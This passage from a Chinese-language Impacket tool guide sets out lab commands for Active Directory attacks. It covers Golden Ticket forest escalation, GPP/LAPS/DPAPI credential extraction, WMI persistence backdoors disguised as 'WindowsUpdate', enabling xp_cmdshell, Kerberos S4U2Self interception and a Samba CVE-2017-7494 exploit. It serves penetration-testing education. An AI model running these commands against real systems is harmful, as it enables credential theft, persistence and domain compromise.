    'unicodePwd': '"<password>"'.encode('utf-16-le')  # 带引号的 UTF-16LE 编码密码
})
# SAMR 方式
python addcomputer.py testjd.local/attacker:Bb123456 -computer-name EVIL$ -computer-pass EvilPass123 -dc-ip 192.168.244.131

# LDAPS 方式
python addcomputer.py testjd.local/attacker:Bb123456 -method LDAPS -dc-ip 192.168.244.131 -dc-host dc01.testjd.local

raiseChild.py —— 子域->林根域提权

raiseChild.py 实现了子域管理员提升到企业管理员的完整流程:

  1. 通过 NRPC (DsrGetDcNameEx) 定位子域 DC 和林根域信息
  2. 通过 DRSUAPI 复制子域 krbtgt 凭据(需要相应复制权限)
  3. 通过 LSAT RPC 获取林 Enterprise Admins 组的 SID
  4. 创建嵌入林 EA SID(作为 ExtraSID)的 Golden Ticket
  5. 使用 Golden Ticket 访问林根域
python raiseChild.py child.testjd.local/administrator:Aa123456 -target-exec dc01.testjd.local

服务与协议操作类工具

services.py —— 远程服务管理

底层 RPC 接口:[MS-SCMR] Service Control Manager Remote Protocol

RPC 接口 UUID:367ABB81-9844-35F1-AD32-98F038001003,通过 \pipe\svcctl 命名管道

使用的 RPC 函数:
– ROpenSCManagerW (opnum 15):打开 SCM
– RCreateServiceW (opnum 12):创建服务
– ROpenServiceW (opnum 16):打开已有服务
– RStartServiceW (opnum 19):启动服务
– RControlService (opnum 1):控制服务(停止/暂停/继续)
– RDeleteService (opnum 2):删除服务
– RQueryServiceConfigW (opnum 17):查询服务配置
– RChangeServiceConfigW (opnum 11):修改服务配置
– RQueryServiceStatusEx (opnum 40):查询服务状态

python services.py testjd.local/administrator:[email protected] list

reg.py —— 远程注册表操作

底层 RPC 接口:[MS-RRP] Remote Registry Protocol

RPC 接口 UUID:338CD001-2244-31F1-AAAA-900038001003,通过 \pipe\winreg 命名管道

# 查询
python reg.py testjd.local/administrator:[email protected] query -keyName 'HKLM\Software\Microsoft\Windows\CurrentVersion'

# 添加
python reg.py testjd.local/administrator:[email protected] add -keyName 'HKLM\SYSTEM\CurrentControlSet\Control\Lsa' -v DisableRestrictedAdmin -vt REG_DWORD -vd 1

net.py —— 远程 net 命令

底层 RPC 接口:
– [MS-SAMR] Security Account Manager Remote Protocol(\pipe\samr):用户和组管理
– [MS-LSAT] Local Security Authority Translation Protocol(\pipe\lsarpc):SID<->名称解析

python net.py testjd.local/attacker:[email protected] user
python net.py testjd.local/attacker:[email protected] group -name "Domain Admins"

其他辅助工具

凭据信息获取类

Get-GPPPassword.py —— 组策略首选项密码提取

用途:搜索域 SYSVOL 共享中的组策略首选项 (Group Policy Preferences) XML 文件,提取并解密其中存储的 cpassword 字段。

使用场景:内网初始侦察阶段。在企业环境中,管理员可能通过 GPP 批量配置本地管理员密码、计划任务运行账户或服务账户,这些 XML 文件中包含加密的密码。GPP 使用的 AES-256-CBC 加密密钥是微软公开的([MS-GPPREF] 规范中明确记录了该固定密钥),因此任何能读取 SYSVOL 的域用户都可以解密这些密码。

工作原理:
1. 通过 SMB 连接到域控制器的 SYSVOL 共享(无需管理员权限,默认所有域用户可读)
2. 递归搜索 SYSVOL\<domain>\Policies\ 下所有 .xml 文件
3. 在每个 XML 文件中搜索 cpassword 属性
4. 支持解析 ScheduledTasks、Groups 及含有相应字段的其他首选项 XML
5. 使用公开的固定 32 字节 AES 密钥 \x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b 解密,IV 为 16 字节全零

# 从 SYSVOL 搜索并解密
python Get-GPPPassword.py testjd.local/attacker:[email protected]

# 指定其他共享和搜索路径
python Get-GPPPassword.py testjd.local/attacker:[email protected] -share SYSVOL -base-dir /testjd.local/Policies

# 本地解析已有的 GPP XML 文件
python Get-GPPPassword.py LOCAL -xmlfile ./Groups.xml

# Kerberos 认证
python Get-GPPPassword.py testjd.local/[email protected] -k -no-pass

GetLAPSPassword.py:LAPS 属性与解密

传统 Microsoft LAPS 将密码以明文属性 ms-Mcs-AdmPwd 存入 AD,访问控制保护它的读取;ms-Mcs-AdmPwdExpirationTime 保存过期时间。

Windows LAPS 使用另一组属性:msLAPS-Password 保存未加密密码的 JSON 数据,启用密码加密时则使用 msLAPS-EncryptedPassword。后者采用 DPAPI-NG 保护,读取加密属性和能够解密是两个条件。解密身份还必须满足配置的授权解密主体要求。

本工具 先通过 LDAP 读取相应属性。处理加密密码时,再借助 GKDI RPC 取得允许该主体使用的组密钥材料,派生 KEK、解包 CEK,最后解密密码数据。ms-Mcs-* 与 msLAPS-* 应按实际部署分别理解。

python GetLAPSPassword.py testjd.local/attacker:Bb123456 -dc-ip 192.168.244.131

# 限定一台计算机;当前账户需能读取/解密其密码
python GetLAPSPassword.py testjd.local/attacker:Bb123456 -dc-ip 192.168.244.131 -computer WS01

DumpNTLMInfo.py:SMB 与 NTLM 协商信息

工具先做 SMB 协商,再在 Session Setup 中发送 NTLM Type 1,解析服务端 Type 2 中的版本与 TargetInfo。它无需提供有效账户,也不会完成正常的用户登录。

SMB 协商响应提供方言、签名配置和服务端时间等字段;NTLM CHALLENGE 还可提供域名、计算机名和时间信息。服务端未返回或置零的字段无法用于可靠推断系统启动时间等信息。

python DumpNTLMInfo.py 192.168.244.131

签名要求用于判断该 SMB 服务的会话保护条件;中继到 LDAP、HTTP 或 MSSQL 时,还需要检查各自服务的保护与授权。

dpapi.py:Master Key、Credential 与 Vault

DPAPI 用 Master Key 保护应用数据,Master Key 文件本身又由用户密码派生密钥、系统密钥或域备份机制保护。因此,先取得文件,再确定哪种密钥能打开对应保护层。

dpapi.py 中的 masterkey、credential、vault 分别处理这些文件结构。普通用户 Master Key 可提供 SID 和密码;SYSTEM 相关 Master Key 可用 SYSTEM、SECURITY 中取得的 DPAPI_SYSTEM 材料;Credential 使用已经解密的 Master Key。Vault Policy 解密后还包含 Vault Credential 所需的密钥。

# 用户 Master Key
python dpapi.py masterkey -file masterkey_file -sid '<USER_SID>' -password '<USER_PASSWORD>'

# SYSTEM Master Key
python dpapi.py masterkey -file masterkey_file -system SYSTEM -security SECURITY

# Credential:传入前一步取得的明文 Master Key
python dpapi.py credential -file credential_file -key '0x<MASTER_KEY_HEX>'

# 解密 Vault Policy
python dpapi.py vault -vpol Policy.vpol -key '0x<MASTER_KEY_HEX>'
# 再使用 Policy 中对应的 Vault 密钥
python dpapi.py vault -vcrd item.vcrd -key '0x<VAULT_KEY_HEX>'

各应用还可能在 DPAPI 外增加自己的保护和数据格式。现代浏览器的应用绑定加密等机制需要另行分析;DPAPI 文件解密工具不会自动完成这些步骤。远程 SYSTEM / SCCM 批量处理见后面的 dpapidump.py。

registry-read.py:本地注册表文件

工具读取 REGF hive,提供 enum_key、enum_values、get_value、get_class 和 walk。Class 数据是键的附加信息;枚举值和读取某个值使用各自子命令。

python registry-read.py ./SOFTWARE enum_values -name '\Microsoft\Windows NT\CurrentVersion'
python registry-read.py ./SYSTEM get_class -name '\ControlSet001\Control\Lsa\JD'

BootKey 需要组合 SYSTEM 中相关键的 class 数据并重排字节,secretsdump.LocalOperations.getBootKey() 提供这部分实现。

票据操作类

describeTicket.py —— Kerberos 票据解析

用途:解析 ccache 的缓存和票据结构。有对应服务长期密钥时,可解开票据的 enc-part,继续解析 PAC;kirbi 文件先用 ticketConverter.py 转换。

使用场景:票据分析——获取了一个票据文件后(如从 getTGT.py/getST.py 输出或从 klist 导出),需要理解票据中包含的用户身份、组成员、委派信息等。此工具将结构化地展开 KERB_VALIDATION_INFO(用户 RID、组 RID、域 SID、UserAccountControl 等)、PAC_CLIENT_INFO(客户端名称和时间)、PAC_UPN_DNS_INFO(UPN 和 DNS 域)、PAC_SIGNATURE_DATA(签名算法和签名值)等 PAC 缓冲区的全部内容。

# 解析 ccache 票据
python describeTicket.py administrator.ccache

# 输出中会包含:
# - sname / crealm / cname(服务/域/客户端名称)
# - 加密类型(RC4/AES128/AES256)
# - 提供服务密钥解密后,可查看 PAC 中的 RID、SID 等身份字段
# - 票据有效期

ticketConverter.py —— 票据格式转换

用途:在 ccache(MIT/Heimdal Kerberos 格式)和 kirbi(Mimikatz 格式)之间转换 Kerberos 票据。

使用场景:不同工具生态之间的桥接。ccache 是 Linux / impacket 生态使用的格式,kirbi 是 Mimikatz / Kekeo / Rubeus(Windows 生态)使用的格式。

# ccache → kirbi(impacket 票据 → Mimikatz)
python ticketConverter.py administrator.ccache administrator.kirbi

# kirbi → ccache(Mimikatz 票据 → impacket)
python ticketConverter.py ticket.kirbi ticket.ccache
export KRB5CCNAME=ticket.ccache

WMI 操作类

wmiquery.py —— WMI 交互式查询

用途:通过 DCOM/WMI 连接远程主机,以交互式 WQL(WMI Query Language)Shell 执行查询和查看 WMI 类定义。

使用场景:信息收集——查询远程 Windows 主机的详细系统信息。支持以下操作:
– 执行 WQL 查询(SELECT):SELECT Name, ProcessId FROM Win32_Process
– 查看类定义(DESCRIBE):DESCRIBE Win32_Service
– 默认命名空间为 //./root/cimv2,可指定其他命名空间

# 交互式 WQL Shell
python wmiquery.py testjd.local/administrator:[email protected]

WQL> SELECT * FROM Win32_UserAccount
WQL> DESCRIBE Win32_NetworkAdapterConfiguration
WQL> SELECT Name, State FROM Win32_Service WHERE State="Running"

# 指定命名空间
python wmiquery.py testjd.local/administrator:[email protected] -namespace //./root/subscription

# 从文件批量执行查询
python wmiquery.py testjd.local/administrator:[email protected] -file queries.txt

wmipersist.py —— WMI 持久化后门

用途:通过 WMI 事件订阅机制在目标主机上安装或移除持久化后门。

使用场景:权限维持——在获得管理员权限后,安装一个 WMI 事件消费者/过滤器组合,当特定条件触发(如有人打开 calc.exe,或每隔 N 毫秒定时)时自动执行 VBScript 代码。订阅对象保存在 WMI 存储库中,可通过查询 root/subscription 和 WMI 活动审计观察。

工作原理:
1. 在 root\subscription 命名空间创建三个 WMI 对象:
– ActiveScriptEventConsumer:包含要执行的 VBScript 代码
– __EventFilter:定义触发条件(WQL 事件查询或定时器)
– __FilterToConsumerBinding:将前两者绑定
2. 支持两种触发模式:
– 事件过滤(-filter):基于 WQL 事件查询,如 “当 calc.exe 进程被创建时”
– 定时器(-timer):每隔 N 毫秒触发一次

# 安装 WMI 持久化(当 calc.exe 运行时触发 VBS)
python wmipersist.py testjd.local/administrator:[email protected] install \
    -name "WindowsUpdate" \
    -vbs payload.vbs \
    -filter 'SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA "Win32_Process" AND TargetInstance.Name = "calc.exe"'

# 安装定时触发型持久化(每 60000 毫秒 = 1 分钟触发一次)
python wmipersist.py testjd.local/administrator:[email protected] install \
    -name "WindowsHealth" \
    -vbs beacon.vbs \
    -timer 60000

# 移除持久化
python wmipersist.py testjd.local/administrator:[email protected] remove -name "WindowsUpdate"

payload.vbs 示例:

Dim objShell
Set objShell = CreateObject("WScript.Shell")
objShell.Run "powershell.exe -enc <BASE64_ENCODED_COMMAND>", 0, False

网络探测与监控类

netview.py —— 域内会话实时监控

用途:实时监控域内所有(或指定)主机的网络会话和本地登录用户,追踪用户(特别是高权限用户)的登录位置和移动轨迹。

使用场景:内网横向移动侦察——管理员登录了哪台机器?域管在哪个终端?netview.py 持续监控所有可达主机的 SMB 会话(通过 \pipe\srvsvc 的 NetrSessionEnum)和本地交互登录(通过 \pipe\wkssvc 的 NetrWkstaUserEnum),通过轮询结果的变化报告出现和消失的会话。短于轮询间隔的会话可能不会被观察到。

工作原理:
1. 通过 SAMR 从 DC 获取域内所有计算机账户列表(过滤 USER_WORKSTATION_TRUST_ACCOUNT 类型的账户)
2. 使用到 TCP 445 的连接检查主机是否可访问
3. 对每台存活机器建立两个 RPC 连接:
– \pipe\srvsvc(Server Service, UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188):调用 NetrSessionEnum 获取远程 SMB 会话
– \pipe\wkssvc(Workstation Service, UUID 6BFFD098-A112-3610-9833-46C3F87E345A):调用 NetrWkstaUserEnum 获取本地交互登录用户
4. 循环监控,追踪登录/注销变化,支持用户过滤

# 域模式:枚举域内所有计算机,监控所有会话
python netview.py testjd.local/attacker:Bb123456 -dc-ip 192.168.244.131

# 监控单个目标
python netview.py testjd.local/attacker:Bb123456 -target 192.168.244.132

# 过滤特定用户(仅显示 Administrator 和 Domain Admin 的登录)
python netview.py testjd.local/attacker:Bb123456 -user Administrator -dc-ip 192.168.244.131

# 从文件加载用户过滤器
python netview.py testjd.local/attacker:Bb123456 -users admins.txt -dc-ip 192.168.244.131

# 仅扫描一次,不循环(-noloop)
python netview.py testjd.local/attacker:Bb123456 -noloop -dc-ip 192.168.244.131

# Kerberos 认证
python netview.py testjd.local/attacker -k -no-pass -dc-ip 192.168.244.131

输出格式示意:

192.168.244.132: user TESTJD\Administrator logged from host 192.168.244.1 - active: 300, idle: 0
192.168.244.132: user TESTJD\Administrator logged in LOCALLY
192.168.244.131: user TESTJD\Administrator logged from host 192.168.244.132 - active: 120, idle: 0

网络扫描小工具

ping.py / ping6.py:ICMP/ICMPv6 探测,检查主机是否在线。

python ping.py 192.168.244.131
python ping6.py fe80::1

rdp_check.py:测试目标 RDP 服务(3389/TCP)是否开放,以及给定的域凭据是否有效。通过部分实现 [MS-RDPBCGR] 和 [MS-CREDSSP] 协议完成。

python rdp_check.py testjd.local/attacker:[email protected]

CheckLDAPStatus.py:检查域控制器的 LDAP 服务状态和基本配置。

python CheckLDAPStatus.py -domain testjd.local -dc-ip 192.168.244.131

mqtt_check.py:检查 MQTT 消息队列服务状态。

协议客户端类

smbclient.py —— 交互式 SMB 客户端

用途:提供交互式 Shell 来浏览远程 SMB 共享、上传/下载文件、管理目录。

使用场景:文件传输和共享浏览。是 Linux 中 smbclient 命令的 impacket 替代品,但直接使用 SMBConnection 库而非外部客户端。

# 连接目标
python smbclient.py testjd.local/administrator:[email protected]

# 交互命令
# shares                    - 列出所有共享
# use ADMIN$                - 连接到 ADMIN$ 共享
# ls                        - 列出文件
# cd /Windows/Temp          - 切换目录
# get mimikatz.exe          - 下载文件
# put /local/file.exe       - 上传文件
# rm file.txt               - 删除文件
# mkdir newdir              - 创建目录
# info file.exe             - 查看文件信息
# close                     - 关闭当前共享
# exit                      - 退出

mssqlclient.py —— MSSQL 客户端

用途:通过 TDS(Tabular Data Stream)协议连接 Microsoft SQL Server,提供交互式 SQL Shell。

使用场景:数据库权限获取和命令执行。MSSQL 服务器的 xp_cmdshell 启用后,sysadmin 调用通常使用 SQL Server 服务身份;获授权的非 sysadmin 调用可使用配置的代理凭据。启用和执行权限需分别检查。支持 Windows 认证(NTLM/Kerberos)。

# Windows 认证
python mssqlclient.py testjd.local/attacker:[email protected] -windows-auth

# 交互 SQL Shell
SQL> SELECT @@VERSION
SQL> EXEC xp_cmdshell 'whoami'
SQL> EXEC xp_cmdshell 'powershell.exe -enc <BASE64>'

# 启用 xp_cmdshell(如果被禁用)
SQL> EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
SQL> EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

exchanger.py:Exchange 通讯簿

exchanger.py 通过 RPC over HTTP v2 访问 Exchange NSPI 接口,查询地址簿、导出表项,或按 GUID / DNT 查询目录对象。它操作的是通讯簿数据。

python exchanger.py testjd.local/attacker:[email protected] nspi list-tables
python exchanger.py testjd.local/attacker:[email protected] nspi dump-tables -name GAL

客户端会尝试取得 RPC 服务端名称;自动取得失败时,可通过 -rpc-hostname 提供部署中对应的 RPC 服务名。邮箱内容读取属于不同接口。

流量操作类

kintercept.py —— Kerberos 流量拦截与 S4U2Self 利用

用途:作为 KDC 代理,拦截客户端与域控制器之间的 Kerberos 流量,可在数据包中修改 PA-FOR-USER 预认证数据来利用 S4U2Self 协议扩展中的弱校验和漏洞(CVE-2018-16860 和 CVE-2019-0734)。

使用场景:高级 Kerberos 攻击——先通过网络转发把客户端到 KDC 的 TCP 流量重定向到工具监听端口。kintercept 在转发流量到真正的 KDC 时,将 TGS-REQ 中的 PA-FOR-USER 数据中的用户名替换为攻击者指定的用户(如 Administrator),利用某些 KDC 实现接受非加密密钥校验和的漏洞,从而获取被模拟用户的服务票据。

# 监听本地 88 端口,将所有请求中的 PA-FOR-USER 替换为 Administrator
python kintercept.py --request-handler s4u2else:administrator 192.168.244.131

karmaSMB.py:SMB 文件内容替换

这个示例服务端接受客户端请求的共享/文件路径,将预先指定文件的内容返回给客户端;配置文件还可按扩展名选择返回文件。名称解析和引导连接需要其他手段完成。它与在线转发 NTLM 挑战响应的 ntlmrelayx.py 用途不同。

python karmaSMB.py ./example.txt -smb2support

sniff.py / sniffer.py:基础报文嗅探

sniff.py 使用 pcapy 采集报文,sniffer.py 展示原始套接字方式,之后用 ImpactDecoder 解码并打印基础报文结构。sniff.py 支持 BPF 过滤。分析 SMB、Kerberos 等应用层会话还需使用相应协议解析工具。

其他功能性工具

getArch.py:NDR64 架构探测

工具连接 TCP 135,在绑定 EPM 接口时提出 NDR64 传输语法 71710533-BEBA-4937-8319-B5DBEF9CCC36、版本 1.0。Windows 接受该语法时,工具报告 64-bit;返回 syntaxes_not_supported 时报告 32-bit。此探测不需要账户凭据。

python getArch.py -target 192.168.244.132
python getArch.py -targets hosts.txt

它根据 RPC 实现对 NDR64 的支持推断 Windows 架构,不能用这个结果区分 AMD64 和 ARM64,也不适合直接套到 Samba 等实现上。见 getArch.py。

changepasswd.py:密码修改与重置

工具支持 smb-samr、rpc-samr、kpasswd、ldap。修改自己的密码和管理员重置密码走不同授权过程:前者通常需证明旧凭据,后者需 Reset Password 等权限,且可能影响用户后续解密原有数据。

位置参数指定要改密码的账户;用 -altuser、-altpass 等指定执行重置的另一身份:

python changepasswd.py testjd.local/attacker:[email protected] -newpass NewPass456

python changepasswd.py testjd.local/[email protected] -reset -altuser testjd.local/administrator -altpass Aa123456 -newpass NewPass456

keylistattack.py:RODC Key List

独立入口复用 KeyListSecrets:用 RODC 专属 krbtgt AES 密钥签出目标用户的部分 TGT,向可写 KDC 请求 Key List,提取被允许返回的密钥。

# SAMR 枚举候选账户,目标为可写 DC
python keylistattack.py testjd.local/attacker:[email protected] -rodcNo 20000 -rodcKey '<RODC_AES_KEY>'

# 从文件提供账户
python keylistattack.py -kdc dc01.testjd.local -domain testjd.local -tf targets.txt -rodcNo 20000 -rodcKey '<RODC_AES_KEY>' LIST

-full 扩大工具尝试的账户范围;KDC 仍检查 RODC 密码复制策略,尤其是被拒绝复制的高权限账户。这里的 RODC 编号对应该 RODC 的专属 krbtgt 密钥版本信息,需要与输入密钥配套。

权限与对象管理类

owneredit.py —— AD 对象所有者修改

用途:读取和修改 Active Directory 对象的安全描述符中的 OwnerSid(所有者)属性。

默认安全语义下,对象所有者具有隐式 READ_CONTROL 和 WRITE_DAC,Owner Rights ACE 可约束这部分权限。取得用户对象的所有权后,常见后续步骤是修改该对象 DACL,再行使被授予的重置密码等权限。域复制权限则需要落在域命名上下文上。

工作原理:
1. 通过 LDAP 查询目标对象的 nTSecurityDescriptor 属性(仅请求 OwnerSid 部分,sdflags=0x01)
2. 读取当前 OwnerSid,通过 LDAP 反向解析为 sAMAccountName
3. 写入时:构造新的 LDAP_SID 对象设置为 OwnerSid,通过 ldap3.MODIFY_REPLACE 写回

# 读取 Administrator 用户的当前所有者
python owneredit.py testjd.local/attacker:Bb123456 -target administrator -action read -dc-ip 192.168.244.131

# 修改 Administrator 对象的所有者为 attacker(需要 WriteOwner 等相应授权)
python owneredit.py testjd.local/attacker:Bb123456 -target administrator -new-owner attacker -action write -dc-ip 192.168.244.131

# 通过 SID 指定新所有者
python owneredit.py testjd.local/attacker:Bb123456 -target administrator -new-owner-sid S-1-5-21-'<ATTACKER_SID>' -action write -dc-ip 192.168.244.131

samedit.py —— 离线 SAM 密码替换

用途:通过离线编辑 SAM 注册表 hive 文件,替换本地用户的 NTLM 密码哈希。适用于已获得 SAM 和 SYSTEM hive 文件但无法在线重置密码的场景(如离线取证、系统无法启动)。

工作原理:
1. 从 SYSTEM hive 中提取 BootKey(通过 LocalOperations.getBootKey())
2. 使用 BootKey 解密 SAM hive 中目标用户的 NTLM 哈希
3. 用新密码(NTOWFv1 算法计算 NTLM 哈希)或指定的哈希替换原有哈希
4. 将修改后的 SAM hive 写回

# 替换 SAM 中 Administrator 的密码
python samedit.py Administrator ./SAM -password NewPass123 -system ./SYSTEM

# 直接指定 NTLM 哈希替换
python samedit.py Administrator ./SAM -hashes :'<NEW_NTHASH>' -bootkey '<HEX_BOOTKEY>'

regsecrets.py:远程注册表凭据读取

regsecrets.py 通过 SMB / Remote Registry 直接读取 SAM、LSA secrets 和缓存域登录验证数据。它以 RPC 注册表读操作组织数据,不使用传统 secretsdump 路径的 BaseRegSaveKey 导出临时 hive 文件。需要有读取敏感注册表数据的权限。

python regsecrets.py testjd.local/administrator:[email protected]

本地已有 hive 文件时,使用 secretsdump.py LOCAL -system SYSTEM -security SECURITY 等离线路径。

数据库与文件系统类

esentutl.py —— ESENT 数据库工具

用途:读取和导出 Microsoft ESENT(Extensible Storage Engine,也称 Jet Blue)数据库文件的内容。NTDS.dit 文件就是 ESENT 格式的数据库,Active Directory 用它存储所有域数据。

使用场景:离线 NTDS.dit 分析——当通过 VSS 方式或直接复制获得了 ntds.dit 文件后,在本地查看其内部结构(页、表等)。也可用于分析其他使用 ESENT 格式的 Windows 数据库。

# 列出数据库中的所有表
python esentutl.py ./ntds.dit info

# 导出指定表的内容
python esentutl.py ./ntds.dit export -table datatable

# 导出指定页的原始数据
python esentutl.py ./ntds.dit dump -page 256

ntfs-read.py —— NTFS 卷浏览器

用途:交互式浏览本地 NTFS 卷,绕过 Windows 文件权限直接读取原始 NTFS 文件系统。基于 NTFS-3G 项目的文件系统结构知识实现。

使用场景:离线取证——当挂载了目标系统的磁盘镜像,但某些文件受 ACL 保护无法读取时,使用 ntfs-read.py 直接解析 NTFS MFT(Master File Table)和索引结构来绕过权限读取文件。

# 打开 NTFS 卷(如 /dev/sda1 或磁盘镜像文件)
python ntfs-read.py /dev/sda1

远程会话管理类

tstool.py —— Terminal Services 远程管理

用途:通过 [MS-TSTS] Terminal Services Terminal Server Runtime Interface Protocol,使用 tsts.py 中定义的多组终端服务 RPC 接口,远程执行终端服务管理操作,等价于 Windows 上的 qwinsta、tasklist、taskkill、tscon、tsdiscon、logoff、shutdown、msg 等命令。

使用场景:会话劫持和横向移动中的权限借用——
– qwinsta:枚举目标所有 RDP 会话,获取 SessionId、用户名、来源 IP、连接状态
– tasklist:列出所有进程及其运行会话、SID(自动通过 LSAT 解析 SID->用户名)
– taskkill:终止指定 PID 或进程名
– tscon:将自己的 RDP 会话连接到目标用户的会话(需要终端服务的连接权限,部分情形还需目标会话密码)
– tsdiscon/logoff:断开或注销指定会话(踢人下线)
– shutdown:远程关机/重启/注销所有会话
– msg:向指定会话弹出消息框(可用于社工钓鱼)
– shadow:监视或远程控制其他用户的 RDP 会话(类似 VNC)

底层 RPC 接口:使用三个 TS 相关的 RPC 接口:
– TermSrvEnumeration:枚举会话列表(RpcOpenEnum -> RpcGetEnumResult)
– TermSrvSession:会话操作(RpcOpenSession -> RpcConnect/RpcDisconnect/RpcLogoff/RpcShowMessageBox/RpcShadow2)
– LegacyAPI / RCMPublic:进程枚举、进程终止、系统关机、客户端数据查询

# 查看所有 RDP 会话(等价于 qwinsta)
python tstool.py testjd.local/administrator:[email protected] qwinsta

# 详细输出(含来源 IP 和客户端名)
python tstool.py testjd.local/administrator:[email protected] qwinsta -v

# 列出所有进程(等价于 tasklist)
python tstool.py testjd.local/administrator:[email protected] tasklist

# 详细进程列表(含会话用户)
python tstool.py testjd.local/administrator:[email protected] tasklist -v

# 终止进程
python tstool.py testjd.local/administrator:[email protected] taskkill -pid 1234
python tstool.py testjd.local/administrator:[email protected] taskkill -name notepad.exe

# 将源 Session 2 接到目标 Session 1,需要相应连接权限
python tstool.py testjd.local/administrator:[email protected] tscon -source 2 -dest 1

# 断开指定会话
python tstool.py testjd.local/administrator:[email protected] tsdiscon -session 2

# 注销指定会话
python tstool.py testjd.local/administrator:[email protected] logoff -session 2

# 向会话发送消息
python tstool.py testjd.local/administrator:[email protected] msg -session 1 -title "IT Notice" -message "Please save your work"

# 远程关机
python tstool.py testjd.local/administrator:[email protected] shutdown -reboot

# Shadow 会话(需要被控端许可)
python tstool.py testjd.local/administrator:[email protected] shadow -session 1 -prompt -file invite.msrcIncident

tscon 请求连接指定会话,服务端检查会话访问权限以及所需凭据。-source 是要接入的源会话,-dest 是接收连接的目标会话。Session 0 用于服务隔离,不能据此当作普通用户的可交互桌面。

探测与扫描类

machine_role.py —— 主机域角色探测

用途:通过 [MS-DSSP] Directory Services Setup Remote Protocol(RPC 接口,UUID 3919286A-B10C-11D0-9BA8-00C04FD92EF5,通过 \pipe\lsarpc 命名管道),查询目标机器的域角色(Domain Role)。

查询结果帮助区分 DC、成员服务器/工作站与独立机器。确认 DC 角色后,还需检查复制权限才能执行 DCSync。

工作原理:调用 DsRolerGetPrimaryDomainInformation (opnum 0) RPC 函数,获取 MachineRole 和 DomainNameFlat(NetBIOS 域名)等信息。

# 查询目标机器角色
python machine_role.py testjd.local/attacker:[email protected]


python machine_role.py testjd.local/attacker:[email protected]

MachineRole 枚举有独立/成员工作站、独立/成员服务器、Backup DC 和 Primary DC 六项。这里的 Primary DC 名称来自兼容枚举,不能据此确认 PDC Emulator,也没有单独的 RODC 枚举值。

rdp_check.py —— RDP 凭据验证

用途:测试目标 RDP 服务(3389/TCP)是否可用,以及给定的域凭据是否有效。部分实现了 [MS-RDPBCGR](RDP Basic Connectivity and Graphics Remoting)和 [MS-CREDSSP](Credential Security Support Provider)协议。

工具完成 RDP 前置连接与 CredSSP 认证检查。认证被接受后,能否建立完整桌面还涉及远程交互登录权限和会话策略,工具没有继续完成整套桌面登录流程。

# 测试凭据对 RDP 是否有效
python rdp_check.py testjd.local/administrator:[email protected]

CheckLDAPStatus.py —— LDAP 签名与 Channel Binding 检查

用途:检查所有域控制器的 LDAP 签名(LDAP Signing)和 LDAPS Channel Binding Token(CBT)强制状态。

使用场景:中继攻击前提评估。LDAP 签名和 Channel Binding 是防御 NTLM 中继攻击(如 ntlmrelayx.py 中继到 LDAP)的关键安全机制。此工具自动获取域的所有 DC 列表(通过 DNS SRV 查询 _ldap._tcp.dc._msdcs.<domain>),逐一用未签名绑定、缺失或错误 CBT 的测试请求观察服务端错误码。测试使用探测身份,不要求提供有效密码;NTLM 被禁用等其他失败也可能让返回值难以解释,需结合 -debug 的具体错误判断。

# 检查所有 DC 的 LDAP 安全配置
python CheckLDAPStatus.py -domain testjd.local -dc-ip 192.168.244.131

mssqlinstance.py —— MSSQL 实例发现

用途:通过 [MC-SQLR] 协议向 MSSQL Browser 服务(UDP 1434)发送 CLNT_BCAST_EX 请求,获取目标主机上运行的所有 SQL Server 实例名称和端口。

python mssqlinstance.py 192.168.244.132

checkMSSQLStatus.py —— MSSQL CBT 检查

用途:专门检查 MSSQL 服务器是否强制要求 Channel Binding Token (CBT),这对于判断能否对 MSSQL 进行 NTLM 中继至关重要。

python checkMSSQLStatus.py testjd.local/attacker:[email protected]

mqtt_check.py —— MQTT 服务检查

用途:测试 MQTT 消息队列服务的连接和凭据,使用 MQTT 用户名/密码发送连接请求并检查 CONNACK。

python mqtt_check.py admin:[email protected]

DPAPI 批量导出

dpapidump.py:SYSTEM 与 SCCM 数据

dpapidump.py 组合 Remote Registry、SMB、WMI 与 DPAPI 解析。先从 LSA secrets 取得 DPAPI_SYSTEM,再收集 SYSTEM 的 Master Key 和 Credential 文件,并解密关联数据;SCCM 路径还会查询 WMI 中保存的相关机密。

Credential 路径位于 Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials 和 Roaming 下的相应目录;Master Key 路径为 Windows\System32\Microsoft\Protect\S-1-5-18\User。它们与 Crypto\RSA\MachineKeys 中的私钥文件用途不同。

# 默认处理工具支持的 Credential 和 SCCM 路径
python dpapidump.py testjd.local/administrator:[email protected]

# 限定处理类型
python dpapidump.py testjd.local/administrator:[email protected] -creds
python dpapidump.py testjd.local/administrator:[email protected] -sccm

文件操作类

attrib.py:远程文件属性

工具通过 SMB 查询或设置文件的基本属性,位置参数依次为目标、共享名、共享内路径。query 查询,set 修改;隐藏属性参数为大写 -H。

python attrib.py testjd.local/administrator:[email protected] 'C$' 'Windows\Temp\example.txt' query
python attrib.py testjd.local/administrator:[email protected] 'C$' 'Windows\Temp\example.txt' set -H

filetime.py:远程文件时间

stat 查询时间,touch 修改指定时间字段。创建、访问、写入及元数据变更时间分别通过选项选择。复制参照文件的时间和恢复被修改文件原先的时间有不同含义,恢复实验状态需先保存原值。

python filetime.py testjd.local/administrator:[email protected] 'C$' 'Windows\Temp\example.txt' stat

时间戳修改只是文件元数据操作,现有事件记录、文件系统日志等仍可能记录相应活动。

流量与网络工具

split.py —— PCAP 文件分割

用途:将大型 PCAP 网络捕获文件按 TCP/IP 连接拆分为多个独立的 PCAP 文件,便于分析单个连接。

python split.py capture.pcap

ping.py / ping6.py —— 主机存活探测

用途:发送 ICMP Echo (ping) 或 ICMPv6 Echo 数据包检测主机是否在线。需要 root 权限(原始套接字)。

python ping.py 192.168.244.131
python ping6.py fe80::1

其他协议工具

sambaPipe.py:CVE-2017-7494

脚本利用 Samba 的历史共享库加载漏洞:寻找可写共享,上传 -so 指定的共享库,再通过命名管道相关请求引用服务端文件路径,触发库加载。

这条路径要求受影响的 Samba 版本、可写共享和可触达的服务端路径等条件,不能用作通用的命名管道调试。修补版本与关闭相关功能的缓解措施见 Samba 公告。脚本入口参数和请求构造见 sambaPipe.py。

badsuccessor.py:dMSA 对象与迁移关系

